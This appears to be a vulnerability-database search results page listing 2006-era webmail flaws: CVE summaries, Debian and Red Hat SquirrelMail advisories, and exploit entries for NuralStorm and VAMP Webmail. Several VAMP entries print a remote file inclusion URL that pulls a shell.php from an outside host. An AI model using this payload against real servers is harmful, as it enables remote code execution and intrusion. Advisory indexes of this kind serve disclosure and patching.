4295 matches found
NuralStorm Webmail <= 0.98b (process.php) Remote Include Vulnerability
No description provided by source. --------------------------------------------------------------------------- NuralStorm Webmail = 0.98b Remote File Include Vulnerability --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Security Team :...
NuralStorm Webmail <= 0.98b (process.php) Remote Include Vulnerability
Exploit for unknown platform in category web applications ====================================================================== NuralStorm Webmail = 0.98b process.php Remote Include Vulnerability ======================================================================...
NuralStorm Webmail 0.98b - 'process.php' Remote File Inclusion
--------------------------------------------------------------------------- NuralStorm Webmail = 0.98b Remote File Include Vulnerability --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Security Team : hTTp://RST-CREW.net : Remote : Yes...
Debian DSA-988-1 : squirrelmail - several vulnerabilities
Several vulnerabilities have been discovered in Squirrelmail, a commonly used webmail system. The Common Vulnerabilities and Exposures project identifies the following problems : - CVE-2006-0188 Martijn Brinkers and Ben Maurer found a flaw in webmail.php that allows remote attackers to inject...
CVE-2006-5147
PHP remote file inclusion vulnerability in wampdir/setup/yesno.phtml in VAMP Webmail 2.0beta1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the nourl parameter...
IA WebMail 3.x Buffer Overflow
This exploits a stack buffer overflow in the IA WebMail server. This exploit has not been tested against a live system at this time. This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'IA WebMail 3...
CVE-2006-5147
Vulnerability CVE-2006-5147 affects VAMP Webmail 2.0beta1 and earlier. It is a PHP remote file inclusion in wamp_dir/setup/yesno.phtml, exploitable via a URL in the no_url parameter to execute arbitrary PHP code. The connected documents do not provide exploit code or mitigation details. No explic...
VAMP Webmail <= 2.0beta1 (yesno.phtml) Remote Include Vulnerability
ToXiC VAMP Webmail Remote File Inclusion by ToXiC CreW BuG FounD by Drago84 Application Affect:VAMP Webmail Page: yesno.phtml Dir : /setup/ Problem: ?if$answer=="Yes" include $yesurl; else include $nourl; ? ExPloit :...
VAMP Webmail <= 2.0beta1 (yesno.phtml) Remote Include Vulnerability
Exploit for unknown platform in category web applications =================================================================== VAMP Webmail ExPloit : http://www.site.com/wampdir/setup/yesno.phtml?nourl=http://sonic-banda-di-lamer.gay/shell.php? GrEatZ All Member of ToXiC, Str0ke FUCK Sonic ToXic...
VAMP Webmail 2.0beta1 - 'yesno.phtml' Remote File Inclusion
ToXiC VAMP Webmail Remote File Inclusion by ToXiC CreW BuG FounD by Drago84 Application Affect:VAMP Webmail Page: yesno.phtml Dir : /setup/ Problem: ExPloit : http://www.site.com/wampdir/setup/yesno.phtml?nourl=http://sonic-banda-di-lamer.gay/shell.php? GrEatZ All Member of ToXiC, Str0ke FUCK Son...
VAMP Webmail <= 2.0beta1 (yesno.phtml) Remote Include Vulnerability
No description provided by source. ToXiC VAMP Webmail Remote File Inclusion by ToXiC CreW BuG FounD by Drago84 Application Affect:VAMP Webmail Page: yesno.phtml Dir : /setup/ Problem: ?if$answer=="Yes" include $yesurl; else include $nourl; ? ExPloit :...
VAMP Webmail 2.0beta1 - yesno.phtml Remote File Inclusion
VAMP Webmail 2.0beta1 - yesno.phtml Remote File Inclusion ToXiC VAMP Webmail Remote File Inclusion by ToXiC CreW BuG FounD by Drago84 Application Affect:VAMP Webmail Page: yesno.phtml Dir : /setup/ Problem: ExPloit :...
RHEL 3 / 4 : squirrelmail (RHSA-2006:0668)
A new squirrelmail package that fixes a security issue as well as several bugs is now available for Red Hat Enterprise Linux 3 and 4. This update has been rated as having moderate security impact by the Red Hat Security Response Team. SquirrelMail is a standards-based webmail package written in...
CentOS 3 / 4 : squirrelmail (CESA-2006:0668)
A new squirrelmail package that fixes a security issue as well as several bugs is now available for Red Hat Enterprise Linux 3 and 4. This update has been rated as having moderate security impact by the Red Hat Security Response Team. SquirrelMail is a standards-based webmail package written in...
squirrelmail security update
CentOS Errata and Security Advisory CESA-2006:0668 A new squirrelmail package that fixes a security issue as well as several bugs is now available for Red Hat Enterprise Linux 3 and 4. This update has been rated as having moderate security impact by the Red Hat Security Response Team. SquirrelMai...
Moderate: Red Hat Security Advisory: squirrelmail security update
A new squirrelmail package that fixes a security issue as well as several bugs is now available for Red Hat Enterprise Linux 3 and 4. This update has been rated as having moderate security impact by the Red Hat Security Response Team. SquirrelMail is a standards-based webmail package written in...
CVE-2006-4951
Neon WebMail for Java before 5.08 allows remote attackers to execute arbitrary Java JSP code by sending an e-mail message with a JSP file attachment, which is stored under the web root with a predictable filename...
CVE-2006-4954
The updateuser servlet in Neon WebMail for Java before 5.08 does not validate the inid parameter, which allows remote attackers to modify information of arbitrary users, as demonstrated by modifying 1 passwords and 2 permissions, 3 viewing profile settings, and 4 creating and 5 deleting users...
CVE-2006-4952
The updatemail servlet in Neon WebMail for Java before 5.08 allows remote attackers to move e-mail messages of arbitrary users between different mail folders, specified by the folderid and tofolderid parameters, via the ID parameter...
CVE-2006-4955
Directory traversal vulnerability in the downloadfile servlet in Neon WebMail for Java before 5.08 allows remote attackers to read arbitrary files via a .. dot dot sequence in the 1 savefolder and 2 savefilename parameters...